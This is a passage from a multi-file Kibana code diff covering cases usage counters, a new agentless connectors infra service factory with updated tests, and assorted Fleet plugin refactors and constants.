'../../services/incremental_id'; import type { ConfigType } from '../../config'; @@ -24,16 +26,21 @@ export class IncrementalIdTaskManager { private logger: Logger; private internalSavedObjectsClient?: SavedObjectsClient; private taskManager?: TaskManagerStartContract; - + private successErrorUsageCounter?: IUsageCounter; constructor( taskManager: TaskManagerSetupContract, config: ConfigType['incrementalId'], - logger: Logger + logger: Logger, + usageCollection?: UsageCollectionSetup ) { this.config = config; this.logger = logger.get('incremental_id_task'); this.logger.info('Registering Case Incremental ID Task Manager'); + if (usageCollection) { + this.successErrorUsageCounter = usageCollection?.createUsageCounter('CasesIncrementalId'); + } + taskManager.registerTaskDefinitions({ [CASES_INCREMENTAL_ID_SYNC_TASK_TYPE]: { title: 'Cases Numerical ID assignment', @@ -64,20 +71,32 @@ export class IncrementalIdTaskManager { this.logger.debug( `${casesWithoutIncrementalId.length} cases without incremental ids` ); - // Increment the case ids - const processedAmount = await casesIncrementService.incrementCaseIds( - casesWithoutIncrementalId - ); - this.logger.debug( - `Applied incremental ids to ${processedAmount} out of ${casesWithoutIncrementalId.length} cases` - ); - const endTime = performance.now(); - this.logger.debug( - `Task terminated ${CASES_INCREMENTAL_ID_SYNC_TASK_ID}. Task run took ${ - endTime - startTime - }ms [ started: ${initializedTime}, ended: ${new Date().toISOString()} ]` - ); + try { + // Increment the case ids + const processedAmount = await casesIncrementService.incrementCaseIds( + casesWithoutIncrementalId + ); + this.logger.debug( + `Applied incremental ids to ${processedAmount} out of ${casesWithoutIncrementalId.length} cases` + ); + + const endTime = performance.now(); + this.logger.debug( + `Task terminated ${CASES_INCREMENTAL_ID_SYNC_TASK_ID}. Task run took ${ + endTime - startTime + }ms [ started: ${initializedTime}, ended: ${new Date().toISOString()} ]` + ); + this.successErrorUsageCounter?.incrementCounter({ + counterName: 'incrementIdTaskSuccess', + incrementBy: 1, + }); + } catch (_) { + this.successErrorUsageCounter?.incrementCounter({ + counterName: 'incrementIdTaskError', + incrementBy: 1, + }); + } }, cancel: async () => { casesIncrementService.stopService(); @@ -125,7 +144,7 @@ export class IncrementalIdTaskManager { id: CASES_INCREMENTAL_ID_SYNC_TASK_ID, taskType: CASES_INCREMENTAL_ID_SYNC_TASK_TYPE, // start delayed to give the system some time to start up properly - runAt: new Date(new Date().getTime() + this.config.taskIntervalMinutes * 60 * 1000), + runAt: new Date(new Date().getTime() + this.config.taskStartDelayMinutes * 60 * 1000), schedule: { interval: `${this.config.taskIntervalMinutes}m`, }, diff --git a/x-pack/platform/plugins/shared/content_connectors/public/components/settings/default_settings_flyout.tsx b/x-pack/platform/plugins/shared/content_connectors/public/components/settings/default_settings_flyout.tsx index 56052193c7d8e..e69f51f06f54f 100644 --- a/x-pack/platform/plugins/shared/content_connectors/public/components/settings/default_settings_flyout.tsx +++ b/x-pack/platform/plugins/shared/content_connectors/public/components/settings/default_settings_flyout.tsx @@ -30,7 +30,6 @@ import { FormattedMessage } from '@kbn/i18n-react'; import { useKibana } from '@kbn/kibana-react-plugin/public'; import { SettingsLogic } from './settings_logic'; import { SettingsPanel } from './settings_panel'; -import { docLinks } from '../shared/doc_links'; export interface DefaultSettingsFlyoutProps { closeFlyout: () => void; @@ -50,7 +49,7 @@ const Callout = ( ); export const DefaultSettingsFlyout: React.FC = ({ closeFlyout }) => { const { - services: { http }, + services: { http, docLinks }, } = useKibana(); const { makeRequest, setPipeline } = useActions(SettingsLogic({ http })); const { defaultPipeline, hasNoChanges, isLoading, pipelineState } = useValues( @@ -88,7 +87,7 @@ export const DefaultSettingsFlyout: React.FC = ({ cl @@ -178,7 +177,7 @@ export const DefaultSettingsFlyout: React.FC = ({ cl {i18n.translate('xpack.contentConnectors.content.settings.mlInference.link', { diff --git a/x-pack/platform/plugins/shared/content_connectors/server/plugin.ts b/x-pack/platform/plugins/shared/content_connectors/server/plugin.ts index 542e0b4cc97fe..7dc1028b2d312 100644 --- a/x-pack/platform/plugins/shared/content_connectors/server/plugin.ts +++ b/x-pack/platform/plugins/shared/content_connectors/server/plugin.ts @@ -29,6 +29,7 @@ import { PLUGIN_ID } from '../common/constants'; import { registerApiKeysRoutes } from './routes/api_keys'; import { SearchConnectorsConfig } from './config'; import { AgentlessConnectorDeploymentsSyncService } from './task'; +import { AgentlessConnectorsInfraServiceFactory } from './services/infra_service_factory'; export class SearchConnectorsPlugin implements @@ -43,6 +44,7 @@ export class SearchConnectorsPlugin private readonly logger: LoggerFactory; private readonly config: SearchConnectorsConfig; private agentlessConnectorDeploymentsSyncService: AgentlessConnectorDeploymentsSyncService; + private agentlessConnectorsInfraServiceFactory: AgentlessConnectorsInfraServiceFactory; constructor(initializerContext: PluginInitializerContext) { this.connectors = []; @@ -51,10 +53,11 @@ export class SearchConnectorsPlugin this.agentlessConnectorDeploymentsSyncService = new AgentlessConnectorDeploymentsSyncService( this.logger.get() ); + this.agentlessConnectorsInfraServiceFactory = new AgentlessConnectorsInfraServiceFactory(); } public setup( - coreSetup: CoreSetup, + coreSetup: CoreSetup, plugins: SearchConnectorsPluginSetupDependencies ) { const http = coreSetup.http; @@ -74,23 +77,15 @@ export class SearchConnectorsPlugin this.connectors = getConnectorTypes(http.staticAssets); - const coreStartServices = coreSetup.getStartServices(); - // There seems to be no way to check for agentless here // So we register a task, but do not execute it in `start` method this.logger.get().debug('Registering agentless connectors infra sync task'); - coreStartServices - .then(([coreStart, searchConnectorsPluginStartDependencies]) => { - this.agentlessConnectorDeploymentsSyncService.registerInfraSyncTask( - plugins, - coreStart, - searchConnectorsPluginStartDependencies - ); - }) - .catch((err) => { - this.logger.get().error(`Error registering agentless connectors infra sync task`, err); - }); + this.agentlessConnectorDeploymentsSyncService.registerInfraSyncTask( + coreSetup, + plugins, + this.agentlessConnectorsInfraServiceFactory + ); const router = http.createRouter(); // Enterprise Search Routes @@ -121,6 +116,11 @@ export class SearchConnectorsPlugin .info( 'Agentless is supported, scheduling initial agentless connectors infrastructure watcher task' ); + this.agentlessConnectorsInfraServiceFactory.initialize({ + coreStart: core, + plugins, + logger: this.logger.get(), + }); this.agentlessConnectorDeploymentsSyncService .scheduleInfraSyncTask(this.config, plugins.taskManager) .catch((err) => { diff --git a/x-pack/platform/plugins/shared/content_connectors/server/services/infra_service_factory.ts b/x-pack/platform/plugins/shared/content_connectors/server/services/infra_service_factory.ts new file mode 100644 index 0000000000000..48abab403d2f0 --- /dev/null +++ b/x-pack/platform/plugins/shared/content_connectors/server/services/infra_service_factory.ts @@ -0,0 +1,55 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { Logger } from '@kbn/logging'; +import { CoreStart, SavedObjectsClient } from '@kbn/core/server'; +import { SearchConnectorsPluginStartDependencies } from '../types'; +import { AgentlessConnectorsInfraService } from '.'; + +export interface AgentlessConnectorsInfraServiceContext { + logger: Logger; + coreStart: CoreStart; + plugins: SearchConnectorsPluginStartDependencies; +} + +export class AgentlessConnectorsInfraServiceFactory { + private isInitialized = false; + private agentlessConnectorsInfraService?: AgentlessConnectorsInfraService; + + public initialize({ coreStart, plugins, logger }: AgentlessConnectorsInfraServiceContext) { + if (this.isInitialized) { + throw new Error('AgentlessConnectorsInfraServiceFactory already initialized'); + } + this.isInitialized = true; + + const esClient = coreStart.elasticsearch.client.asInternalUser; + const savedObjects = coreStart.savedObjects; + + const agentPolicyService = plugins.fleet.agentPolicyService; + const packagePolicyService = plugins.fleet.packagePolicyService; + const agentService = plugins.fleet.agentService; + + const soClient = new SavedObjectsClient(savedObjects.createInternalRepository()); + + this.agentlessConnectorsInfraService = new AgentlessConnectorsInfraService( + soClient, + esClient, + packagePolicyService, + agentPolicyService, + agentService, + logger + ); + } + + public getAgentlessConnectorsInfraService() { + if (!this.isInitialized) { + throw new Error('AgentlessConnectorsInfraServiceFactory not initialized'); + } + + return this.agentlessConnectorsInfraService; + } +} diff --git a/x-pack/platform/plugins/shared/content_connectors/server/task.test.ts b/x-pack/platform/plugins/shared/content_connectors/server/task.test.ts index 8809caa2b6902..e1ad9fedd4384 100644 --- a/x-pack/platform/plugins/shared/content_connectors/server/task.test.ts +++ b/x-pack/platform/plugins/shared/content_connectors/server/task.test.ts @@ -14,8 +14,9 @@ import { PackagePolicyMetadata, } from './services'; import { licensingMock } from '@kbn/licensing-plugin/server/mocks'; -import { LicensingPluginStart } from '@kbn/licensing-plugin/server'; import { createPackagePolicyMock } from '@kbn/fleet-plugin/common/mocks'; +import { coreMock } from '@kbn/core/server/mocks'; +import { AgentlessConnectorsInfraServiceFactory } from './services/infra_service_factory'; const DATE_1970 = '1970-01-01T00:00:00.000Z'; @@ -76,7 +77,7 @@ describe('infraSyncTaskRunner', () => { let logger: MockedLogger; let serviceMock: jest.Mocked; - let licensePluginStartMock: jest.Mocked; + const getLicenseMock = jest.fn(); const taskInstanceStub: ConcreteTaskInstance = { id: '', @@ -102,6 +103,8 @@ describe('infraSyncTaskRunner', () => { const validLicenseMock = licensingMock.createLicenseMock(); validLicenseMock.check.mockReturnValue({ state: 'valid' }); + const { getStartServices } = coreMock.createSetup(); + let agentlessConnectorsInfraServiceFactory: jest.Mocked; beforeAll(async () => { logger = loggerMock.create(); @@ -112,9 +115,21 @@ describe('infraSyncTaskRunner', () => { removeDeployment: jest.fn(), } as unknown as jest.Mocked; - licensePluginStartMock = { - getLicense: jest.fn(), - } as unknown as jest.Mocked; + agentlessConnectorsInfraServiceFactory = { + initialize: jest.fn(), + getAgentlessConnectorsInfraService: jest.fn().mockReturnValue(serviceMock), + } as unknown as jest.Mocked; + const [coreStart, deps, unknown] = await getStartServices(); + getStartServices.mockResolvedValue([ + coreStart, + { + ...deps, + licensing: { + getLicense: getLicenseMock, + }, + }, + unknown, + ]); }); beforeEach(() => { @@ -124,9 +139,11 @@ describe('infraSyncTaskRunner', () => { test('Does nothing if no connectors or policies are configured', async () => { await infraSyncTaskRunner( logger, - serviceMock, - licensePluginStartMock - )({ taskInstance: taskInstanceStub }).run(); + getStartServices, + agentlessConnectorsInfraServiceFactory + )({ + taskInstance: taskInstanceStub, + }).run(); expect(serviceMock.deployConnector).not.toBeCalled(); expect(serviceMock.removeDeployment).not.toBeCalled(); @@ -135,12 +152,12 @@ describe('infraSyncTaskRunner', () => { test('Does nothing if connectors or policies requires deployment but license is not supported', async () => { serviceMock.getNativeConnectors.mockResolvedValue([mysqlConnector, githubConnector]); serviceMock.getConnectorPackagePolicies.mockResolvedValue([sharepointPackagePolicy]); - licensePluginStartMock.getLicense.mockResolvedValue(invalidLicenseMock); + getLicenseMock.mockResolvedValue(invalidLicenseMock); await infraSyncTaskRunner( logger, - serviceMock, - licensePluginStartMock + getStartServices, + agentlessConnectorsInfraServiceFactory )({ taskInstance: taskInstanceStub }).run(); expect(serviceMock.deployConnector).not.toBeCalled(); @@ -160,12 +177,12 @@ describe('infraSyncTaskRunner', () => { githubPackagePolicy, sharepointPackagePolicy, ]); - licensePluginStartMock.getLicense.mockResolvedValue(validLicenseMock); + getLicenseMock.mockResolvedValue(validLicenseMock); await infraSyncTaskRunner( logger, - serviceMock, - licensePluginStartMock + getStartServices, + agentlessConnectorsInfraServiceFactory )({ taskInstance: taskInstanceStub }).run(); expect(serviceMock.deployConnector).not.toBeCalled(); @@ -176,12 +193,12 @@ describe('infraSyncTaskRunner', () => { test('Deploys connectors if no policies has been created for these connectors', async () => { serviceMock.getNativeConnectors.mockResolvedValue([mysqlConnector, githubConnector]); serviceMock.getConnectorPackagePolicies.mockResolvedValue([sharepointPackagePolicy]); - licensePluginStartMock.getLicense.mockResolvedValue(validLicenseMock); + getLicenseMock.mockResolvedValue(validLicenseMock); await infraSyncTaskRunner( logger, - serviceMock, - licensePluginStartMock + getStartServices, + agentlessConnectorsInfraServiceFactory )({ taskInstance: taskInstanceStub }).run(); expect(serviceMock.deployConnector).toBeCalledWith(mysqlConnector); @@ -195,7 +212,7 @@ describe('infraSyncTaskRunner', () => { sharepointConnector, ]); serviceMock.getConnectorPackagePolicies.mockResolvedValue([]); - licensePluginStartMock.getLicense.mockResolvedValue(validLicenseMock); + getLicenseMock.mockResolvedValue(validLicenseMock); serviceMock.deployConnector.mockImplementation(async (connector) => { if (connector === mysqlConnector || connector === githubConnector) { throw new Error('Cannot deploy these connectors'); @@ -206,8 +223,8 @@ describe('infraSyncTaskRunner', () => { await infraSyncTaskRunner( logger, - serviceMock, - licensePluginStartMock + getStartServices, + agentlessConnectorsInfraServiceFactory )({ taskInstance: taskInstanceStub }).run(); expect(serviceMock.deployConnector).toBeCalledWith(mysqlConnector); @@ -222,12 +239,12 @@ describe('infraSyncTaskRunner', () => { githubConnector, ]); serviceMock.getConnectorPackagePolicies.mockResolvedValue([sharepointPackagePolicy]); - licensePluginStartMock.getLicense.mockResolvedValue(validLicenseMock); + getLicenseMock.mockResolvedValue(validLicenseMock); await infraSyncTaskRunner( logger, - serviceMock, - licensePluginStartMock + getStartServices, + agentlessConnectorsInfraServiceFactory )({ taskInstance: taskInstanceStub }).run(); expect(serviceMock.removeDeployment).toBeCalledWith(sharepointPackagePolicy.package_policy_id); @@ -236,12 +253,12 @@ describe('infraSyncTaskRunner', () => { test('Does not remove a package policy if no connectors match the policy', async () => { serviceMock.getNativeConnectors.mockResolvedValue([mysqlConnector, githubConnector]); serviceMock.getConnectorPackagePolicies.mockResolvedValue([sharepointPackagePolicy]); - licensePluginStartMock.getLicense.mockResolvedValue(validLicenseMock); + getLicenseMock.mockResolvedValue(validLicenseMock); await infraSyncTaskRunner( logger, - serviceMock, - licensePluginStartMock + getStartServices, + agentlessConnectorsInfraServiceFactory )({ taskInstance: taskInstanceStub }).run(); expect(serviceMock.removeDeployment).not.toBeCalled(); @@ -258,7 +275,7 @@ describe('infraSyncTaskRunner', () => { mysqlPackagePolicy, githubPackagePolicy, ]); - licensePluginStartMock.getLicense.mockResolvedValue(validLicenseMock); + getLicenseMock.mockResolvedValue(validLicenseMock); serviceMock.removeDeployment.mockImplementation(async (policyId) => { if ( policyId === sharepointPackagePolicy.package_policy_id || @@ -270,8 +287,8 @@ describe('infraSyncTaskRunner', () => { await infraSyncTaskRunner( logger, - serviceMock, - licensePluginStartMock + getStartServices, + agentlessConnectorsInfraServiceFactory )({ taskInstance: taskInstanceStub }).run(); expect(serviceMock.removeDeployment).toBeCalledWith(sharepointPackagePolicy.package_policy_id); diff --git a/x-pack/platform/plugins/shared/content_connectors/server/task.ts b/x-pack/platform/plugins/shared/content_connectors/server/task.ts index bc48788d90858..cd83139b828d3 100644 --- a/x-pack/platform/plugins/shared/content_connectors/server/task.ts +++ b/x-pack/platform/plugins/shared/content_connectors/server/task.ts @@ -5,7 +5,7 @@ * 2.0. */ -import { Logger, CoreStart, SavedObjectsClient } from '@kbn/core/server'; +import { Logger, CoreSetup, StartServicesAccessor } from '@kbn/core/server'; import type { ConcreteTaskInstance, @@ -13,18 +13,14 @@ import type { TaskInstance, } from '@kbn/task-manager-plugin/server'; -import type { LicensingPluginStart } from '@kbn/licensing-plugin/server'; import type { SearchConnectorsPluginStartDependencies, SearchConnectorsPluginSetupDependencies, } from './types'; -import { - AgentlessConnectorsInfraService, - getConnectorsToDeploy, - getPoliciesToDelete, -} from './services'; +import { getConnectorsToDeploy, getPoliciesToDelete } from './services'; import { SearchConnectorsConfig } from './config'; +import { AgentlessConnectorsInfraServiceFactory } from './services/infra_service_factory'; const AGENTLESS_CONNECTOR_DEPLOYMENTS_SYNC_TASK_ID = 'search:agentless-connectors-manager-task'; const AGENTLESS_CONNECTOR_DEPLOYMENTS_SYNC_TASK_TYPE = 'search:agentless-connectors-manager'; @@ -33,13 +29,23 @@ const SCHEDULE = { interval: '1m' }; export function infraSyncTaskRunner( logger: Logger, - service: AgentlessConnectorsInfraService, - licensingPluginStart: LicensingPluginStart + getStartServices: StartServicesAccessor, + agentlessConnectorsInfraServiceFactory: AgentlessConnectorsInfraServiceFactory ) { return ({ taskInstance }: { taskInstance: ConcreteTaskInstance }) => { return { run: async () => { try { + const service = + agentlessConnectorsInfraServiceFactory.getAgentlessConnectorsInfraService(); + + if (!service) { + logger.warn('Agentless connectors infra service not initialized'); + return { + state: {}, + schedule: SCHEDULE, + }; + } // We fetch some info even if license does not permit actual operations. // This is done so that we could give a warning to the user only // if they are actually using the feature. @@ -52,7 +58,9 @@ export function infraSyncTaskRunner( // Check license if any native connectors or agentless policies found if (nativeConnectors.length > 0 || policiesMetadata.length > 0) { - const license = await licensingPluginStart.getLicense(); + const [_core, start] = await getStartServices(); + + const license = await start.licensing.getLicense(); if (license.check('fleet', 'platinum').state !== 'valid') { logger.warn( @@ -121,31 +129,11 @@ export class AgentlessConnectorDeploymentsSyncService { this.logger = logger; } public registerInfraSyncTask( + core: CoreSetup, plugins: SearchConnectorsPluginSetupDependencies, - coreStart: CoreStart, - searchConnectorsPluginStartDependencies: SearchConnectorsPluginStartDependencies + agentlessConnectorsInfraServiceFactory: AgentlessConnectorsInfraServiceFactory ) { - const taskManager = plugins.taskManager; - - const esClient = coreStart.elasticsearch.client.asInternalUser; - const savedObjects = coreStart.savedObjects; - - const agentPolicyService = searchConnectorsPluginStartDependencies.fleet.agentPolicyService; - const packagePolicyService = searchConnectorsPluginStartDependencies.fleet.packagePolicyService; - const agentService = searchConnectorsPluginStartDependencies.fleet.agentService; - - const soClient = new SavedObjectsClient(savedObjects.createInternalRepository()); - - const service = new AgentlessConnectorsInfraService( - soClient, - esClient, - packagePolicyService, - agentPolicyService, - agentService, - this.logger - ); - - taskManager.registerTaskDefinitions({ + plugins.taskManager.registerTaskDefinitions({ [AGENTLESS_CONNECTOR_DEPLOYMENTS_SYNC_TASK_TYPE]: { title: 'Agentless Connector Deployment Manager', description: @@ -154,8 +142,8 @@ export class AgentlessConnectorDeploymentsSyncService { maxAttempts: 3, createTaskRunner: infraSyncTaskRunner( this.logger, - service, - searchConnectorsPluginStartDependencies.licensing + core.getStartServices, + agentlessConnectorsInfraServiceFactory ), }, }); @@ -167,7 +155,6 @@ export class AgentlessConnectorDeploymentsSyncService { ): Promise { this.logger.info(`Scheduling ${AGENTLESS_CONNECTOR_DEPLOYMENTS_SYNC_TASK_ID}`); try { - await taskManager.removeIfExists(AGENTLESS_CONNECTOR_DEPLOYMENTS_SYNC_TASK_ID); const taskInstance = await taskManager.ensureScheduled({ id: AGENTLESS_CONNECTOR_DEPLOYMENTS_SYNC_TASK_ID, taskType: AGENTLESS_CONNECTOR_DEPLOYMENTS_SYNC_TASK_TYPE, diff --git a/x-pack/platform/plugins/shared/content_connectors/server/types.ts b/x-pack/platform/plugins/shared/content_connectors/server/types.ts index 18dfd21b18026..a6d133b0fbb71 100644 --- a/x-pack/platform/plugins/shared/content_connectors/server/types.ts +++ b/x-pack/platform/plugins/shared/content_connectors/server/types.ts @@ -51,8 +51,5 @@ export interface SearchConnectorsPluginSetupDependencies { log: Logger; ml?: MlPluginSetup; router: IRouter; - getStartServices: StartServicesAccessor< - SearchConnectorsPluginStartDependencies, - SearchConnectorsPluginStart - >; + getStartServices: StartServicesAccessor; } diff --git a/x-pack/platform/plugins/shared/content_connectors/tsconfig.json b/x-pack/platform/plugins/shared/content_connectors/tsconfig.json index 3d28374da76e7..28c4aba3a2bb4 100644 --- a/x-pack/platform/plugins/shared/content_connectors/tsconfig.json +++ b/x-pack/platform/plugins/shared/content_connectors/tsconfig.json @@ -57,6 +57,7 @@ "@kbn/licensing-plugin", "@kbn/spaces-plugin", "@kbn/core-http-browser-mocks", - "@kbn/home-plugin" + "@kbn/home-plugin", + "@kbn/logging" ] } diff --git a/x-pack/platform/plugins/shared/embeddable_alerts_table/public/components/embeddable_alerts_table.test.tsx b/x-pack/platform/plugins/shared/embeddable_alerts_table/public/components/embeddable_alerts_table.test.tsx index fe3588e0ad9cc..43c3687e08af4 100644 --- a/x-pack/platform/plugins/shared/embeddable_alerts_table/public/components/embeddable_alerts_table.test.tsx +++ b/x-pack/platform/plugins/shared/embeddable_alerts_table/public/components/embeddable_alerts_table.test.tsx @@ -161,8 +161,10 @@ describe('EmbeddableAlertsTable', () => { showKeyboardShortcuts: false, showDisplaySelector: false, }, - emptyStateHeight: 'flex', - emptyStateVariant: 'transparent', + emptyState: { + height: 'flex', + variant: 'transparent', + }, flyoutOwnsFocus: true, flyoutPagination: false, openLinksInNewTab: true, @@ -266,8 +268,10 @@ describe('EmbeddableAlertsTable', () => { showKeyboardShortcuts: false, showDisplaySelector: false, }, - emptyStateHeight: 'flex', - emptyStateVariant: 'transparent', + emptyState: { + height: 'flex', + variant: 'transparent', + }, flyoutOwnsFocus: true, flyoutPagination: false, openLinksInNewTab: true, diff --git a/x-pack/platform/plugins/shared/embeddable_alerts_table/public/components/embeddable_alerts_table.tsx b/x-pack/platform/plugins/shared/embeddable_alerts_table/public/components/embeddable_alerts_table.tsx index f7252824cb0f6..7f04716081f54 100644 --- a/x-pack/platform/plugins/shared/embeddable_alerts_table/public/components/embeddable_alerts_table.tsx +++ b/x-pack/platform/plugins/shared/embeddable_alerts_table/public/components/embeddable_alerts_table.tsx @@ -153,8 +153,10 @@ export const EmbeddableAlertsTable = ({ showKeyboardShortcuts: false, showDisplaySelector: false, }} - emptyStateHeight="flex" - emptyStateVariant="transparent" + emptyState={{ + height: 'flex', + variant: 'transparent', + }} openLinksInNewTab={true} flyoutOwnsFocus={true} flyoutPagination={false} diff --git a/x-pack/platform/plugins/shared/fleet/README.md b/x-pack/platform/plugins/shared/fleet/README.md index 0c8e9dbe4547b..d572b5d31c9a1 100644 --- a/x-pack/platform/plugins/shared/fleet/README.md +++ b/x-pack/platform/plugins/shared/fleet/README.md @@ -218,13 +218,13 @@ Note: Docker needs to be running to run these tests. Run the tests from the Kibana root folder with: ```sh -node scripts/jest_integration.js x-pack/platform/plugins/shared/fleet/server/integration_tests/ +node scripts/jest_integration.js --config x-pack/platform/plugins/shared/fleet/jest.integration.config.js x-pack/platform/plugins/shared/fleet/server/integration_tests/ ``` Running the tests with [Node Inspector](https://nodejs.org/en/learn/getting-started/debugging) allows inspecting Elasticsearch indices. To do this, add a `debugger;` statement in the test (cf. [Jest documentation](https://jestjs.io/docs/troubleshooting)) and run `node` with `--inspect` or `--inspect-brk`: ```sh -node --inspect scripts/jest_integration.js x-pack/platform/plugins/shared/fleet/server/integration_tests/ +node --inspect scripts/jest_integration.js --config x-pack/platform/plugins/shared/fleet/jest.integration.config.js x-pack/platform/plugins/shared/fleet/server/integration_tests/ ``` ### Storybook diff --git a/x-pack/platform/plugins/shared/fleet/common/constants/epm.ts b/x-pack/platform/plugins/shared/fleet/common/constants/epm.ts index 1a8790b869c70..b69c56033b0f2 100644 --- a/x-pack/platform/plugins/shared/fleet/common/constants/epm.ts +++ b/x-pack/platform/plugins/shared/fleet/common/constants/epm.ts @@ -22,8 +22,10 @@ export const FLEET_KUBERNETES_PACKAGE = 'kubernetes'; export const FLEET_UNIVERSAL_PROFILING_SYMBOLIZER_PACKAGE = 'profiler_symbolizer'; export const FLEET_UNIVERSAL_PROFILING_COLLECTOR_PACKAGE = 'profiler_collector'; export const FLEET_CLOUD_SECURITY_POSTURE_PACKAGE = 'cloud_security_posture'; +export const FLEET_CLOUD_SECURITY_ASSET_PACKAGE = 'cloud_asset_inventory'; export const FLEET_CLOUD_SECURITY_POSTURE_KSPM_POLICY_TEMPLATE = 'kspm'; export const FLEET_CLOUD_SECURITY_POSTURE_CSPM_POLICY_TEMPLATE = 'cspm'; +export const FLEET_CLOUD_SECURITY_POSTURE_ASSET_INVENTORY_POLICY_TEMPLATE = 'asset_inventory'; export const FLEET_CLOUD_SECURITY_POSTURE_CNVM_POLICY_TEMPLATE = 'vuln_mgmt'; export const FLEET_CLOUD_BEAT_PACKAGE = 'cloudbeat'; export const FLEET_CONNECTORS_PACKAGE = 'elastic_connectors'; diff --git a/x-pack/platform/plugins/shared/fleet/common/experimental_features.ts b/x-pack/platform/plugins/shared/fleet/common/experimental_features.ts index 12924d87a59b7..e188766b22558 100644 --- a/x-pack/platform/plugins/shared/fleet/common/experimental_features.ts +++ b/x-pack/platform/plugins/shared/fleet/common/experimental_features.ts @@ -9,7 +9,7 @@ export type ExperimentalFeatures = typeof allowedExperimentalValues; const _allowedExperimentalValues = { showExperimentalShipperOptions: false, - useSpaceAwareness: false, + useSpaceAwareness: true, enableAutomaticAgentUpgrades: true, enableSyncIntegrationsOnRemote: true, enableSSLSecrets: false, diff --git a/x-pack/platform/plugins/shared/fleet/common/index.ts b/x-pack/platform/plugins/shared/fleet/common/index.ts index 9c1e843faf74a..30f35c7716f48 100644 --- a/x-pack/platform/plugins/shared/fleet/common/index.ts +++ b/x-pack/platform/plugins/shared/fleet/common/index.ts @@ -17,15 +17,18 @@ export { FLEET_ELASTIC_AGENT_PACKAGE, FLEET_KUBERNETES_PACKAGE, FLEET_CLOUD_SECURITY_POSTURE_PACKAGE, + FLEET_CLOUD_SECURITY_ASSET_PACKAGE, FLEET_CLOUD_SECURITY_POSTURE_KSPM_POLICY_TEMPLATE, FLEET_CLOUD_SECURITY_POSTURE_CSPM_POLICY_TEMPLATE, + FLEET_CLOUD_SECURITY_POSTURE_ASSET_INVENTORY_POLICY_TEMPLATE, FLEET_CLOUD_SECURITY_POSTURE_CNVM_POLICY_TEMPLATE, FLEET_ENDPOINT_PACKAGE, // Saved object type AGENT_POLICY_SAVED_OBJECT_TYPE, LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, PACKAGES_SAVED_OBJECT_TYPE, - LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE as PACKAGE_POLICY_SAVED_OBJECT_TYPE, + LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, + PACKAGE_POLICY_SAVED_OBJECT_TYPE, OUTPUT_SAVED_OBJECT_TYPE, PRECONFIGURATION_DELETION_RECORD_SAVED_OBJECT_TYPE, ASSETS_SAVED_OBJECT_TYPE, diff --git a/x-pack/platform/plugins/shared/fleet/common/services/agent_status.ts b/x-pack/platform/plugins/shared/fleet/common/services/agent_status.ts index eefb1d3799096..88b6684833844 100644 --- a/x-pack/platform/plugins/shared/fleet/common/services/agent_status.ts +++ b/x-pack/platform/plugins/shared/fleet/common/services/agent_status.ts @@ -74,7 +74,9 @@ export function isStuckInUpdating(agent: Agent): boolean { const hasTimedOut = (upgradeStartedAt: string) => Date.now() - Date.parse(upgradeStartedAt) > AGENT_UPDATING_TIMEOUT_HOURS * 60 * 60 * 1000; return ( - (agent.status !== 'offline' && agent.active && isAgentInFailedUpgradeState(agent)) || + (agent.status !== 'offline' && + agent.active && + isAgentInFailedUpgradeState(agent.upgrade_details)) || (agent.status === 'updating' && !!agent.upgrade_started_at && !agent.upgraded_at && @@ -83,6 +85,6 @@ export function isStuckInUpdating(agent: Agent): boolean { ); } -export function isAgentInFailedUpgradeState(agent: Agent): boolean { - return agent.upgrade_details?.state === 'UPG_FAILED'; +export function isAgentInFailedUpgradeState(upgradeDetails?: Agent['upgrade_details']): boolean { + return upgradeDetails?.state === 'UPG_FAILED'; } diff --git a/x-pack/platform/plugins/shared/fleet/public/applications/fleet/sections/agent_policy/create_package_policy_page/components/steps/components/package_policy_input_var_field.tsx b/x-pack/platform/plugins/shared/fleet/public/applications/fleet/sections/agent_policy/create_package_policy_page/components/steps/components/package_policy_input_var_field.tsx index 69a9ae851c722..fb06cfc0b4e6a 100644 --- a/x-pack/platform/plugins/shared/fleet/public/applications/fleet/sections/agent_policy/create_package_policy_page/components/steps/components/package_policy_input_var_field.tsx +++ b/x-pack/platform/plugins/shared/fleet/public/applications/fleet/sections/agent_policy/create_package_policy_page/components/steps/components/package_policy_input_var_field.tsx @@ -430,7 +430,11 @@ function SecretInputField({ setIsReplacing(true)} + onClick={() => { + setIsReplacing(true); + setIsDirty(false); + onChange(''); + }} color="primary" iconType="refresh" iconSide="left" diff --git a/x-pack/platform/plugins/shared/fleet/public/applications/fleet/sections/agent_policy/create_package_policy_page/single_page_layout/hooks/form.tsx b/x-pack/platform/plugins/shared/fleet/public/applications/fleet/sections/agent_policy/create_package_policy_page/single_page_layout/hooks/form.tsx index af7f67c7a7e5d..353545af37b15 100644 --- a/x-pack/platform/plugins/shared/fleet/public/applications/fleet/sections/agent_policy/create_package_policy_page/single_page_layout/hooks/form.tsx +++ b/x-pack/platform/plugins/shared/fleet/public/applications/fleet/sections/agent_policy/create_package_policy_page/single_page_layout/hooks/form.tsx @@ -233,6 +233,7 @@ export function useOnSubmit({ // Used to render extension components only when package policy is initialized const [isInitialized, setIsInitialized] = useState(false); + const isFetchingBasePackage = useRef(false); const [agentPolicies, setAgentPolicies] = useState([]); // New package policy state @@ -322,26 +323,37 @@ export function useOnSubmit({ } // Fetch all packagePolicies having the package name - const { data: packagePolicyData } = await sendGetPackagePolicies({ - perPage: SO_SEARCH_LIMIT, - page: 1, - kuery: `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name:${packageInfo.name}`, - }); - const incrementedName = getMaxPackageName(packageInfo.name, packagePolicyData?.items); + if (!isFetchingBasePackage.current) { + // Prevent multiple calls to fetch base package + isFetchingBasePackage.current = true; + const { data: packagePolicyData } = await sendGetPackagePolicies({ + perPage: SO_SEARCH_LIMIT, + page: 1, + kuery: `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name:${packageInfo.name}`, + }); + const incrementedName = getMaxPackageName(packageInfo.name, packagePolicyData?.items); - const basePackagePolicy = packageToPackagePolicy( - packageInfo, - agentPolicies.map((policy) => policy.id), - '', - DEFAULT_PACKAGE_POLICY.name || incrementedName, - DEFAULT_PACKAGE_POLICY.description, - integrationToEnable - ); - updatePackagePolicy(basePackagePolicy); - 